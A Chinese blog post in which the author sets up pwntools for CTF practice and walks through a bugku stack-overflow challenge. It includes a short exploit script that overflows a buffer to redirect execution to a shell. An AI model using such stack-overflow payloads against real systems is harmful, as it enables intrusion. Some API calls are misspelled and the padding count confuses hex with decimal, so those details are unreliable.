閉關學pwn第二天——配置環境

前言

環境配置真的煩人…不說了淚目。
pwn第二天本來計劃繼續學棧溢出的,但南郵比賽今晚九點開始,於是先把pwn的環境配置好了再說。
按照網上各種教程結果亂七八糟的不知道怎麼弄…
失敗過很多次。於是把自己的經驗寫在這裏吧。
今天一天都用來配置環境了= =
(主要是我想弄docker)
而且踩的坑太多太多,我已經無力了

安裝docker——失敗

https://blog.csdn.net/qq_27818541/article/details/73647797

然後運行到helloword出錯,解決方法
https://blog.csdn.net/CaoMei_HuaCha/article/details/87544109
然後後面導入鏡像和使用docker失敗了= =
還去阿里雲搞了個倉庫
然後發現這個是用來搭建環境的,也就是模擬真題,與出題有關orz
於是先放棄,先搭建pwntools好了

安裝pwntool

在kali中安裝pwntools,安裝完成後輸入python進入python環境,使用from pwn import * 導入pwntools庫
pwntool安裝和使用的一些語句
https://www.jianshu.com/p/355e4badab50
such as

本地 :sh = porcess("./level0")
遠程:sh = remote("127.0.0.1",10001)
關閉連接:sh.close()  
sh.send(data)  發送數據
sh.sendline(data)  發送一行數據,相當於在數據後面加\n
sh.recv(numb = 2048, timeout = dufault)  接受數據,numb指定接收的字節,timeout指定超時
sh.recvline(keepends=True)  接受一行數據,keepends爲是否保留行尾的\n
sh.recvuntil("Hello,World\n",drop=fasle)  接受數據直到我們設置的標誌出現
sh.recvall()  一直接收直到EOF
sh.recvrepeat(timeout = default)  持續接受直到EOF或timeout
sh.interactive()  直接進行交互,相當於回到shell的模式,在取得shell之後使用

練手

放這裏,拿幾道題目練練手。
bugku的pwn2是棧溢出
用ida打開f5查看僞代碼如下
在這裏插入圖片描述網上wp腳本如下

from pwn import *

sh = remote("114.116.54.89", 10003)

print sh.recv()
payload="A" * 0x38 + p64(0x400751)
sh.sendline(payload)
sh.interactive()

一句句分析。
sh = remote("114.116.54.89", 10003)對照腳本即獲取nc端口地址,進行遠程連接

print sh.recv()讀取數據

payload="A" * 0x38 + p64(0x400751)這句便是棧溢出的精髓了,構造payload,38個A是因爲前面定義s的地址指針是rbp-30,64位的返回地址通常是rbp+8,加起來是38,所以弄三十八個覆蓋掉,然後eip剛好就可以輸入p64(0x400751)也就是這裏在這裏插入圖片描述get shell的地址。
sh.sendline(payload)發送這一行數據,這裏相當於在nc端口終端輸入了構造好的語句。同時也有個很重要的地方,就是read讀取可以達到100,如果read只能讀取30那棧溢出就沒用了,就會自己截斷掉。
最後sh.interactive()取得shell

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章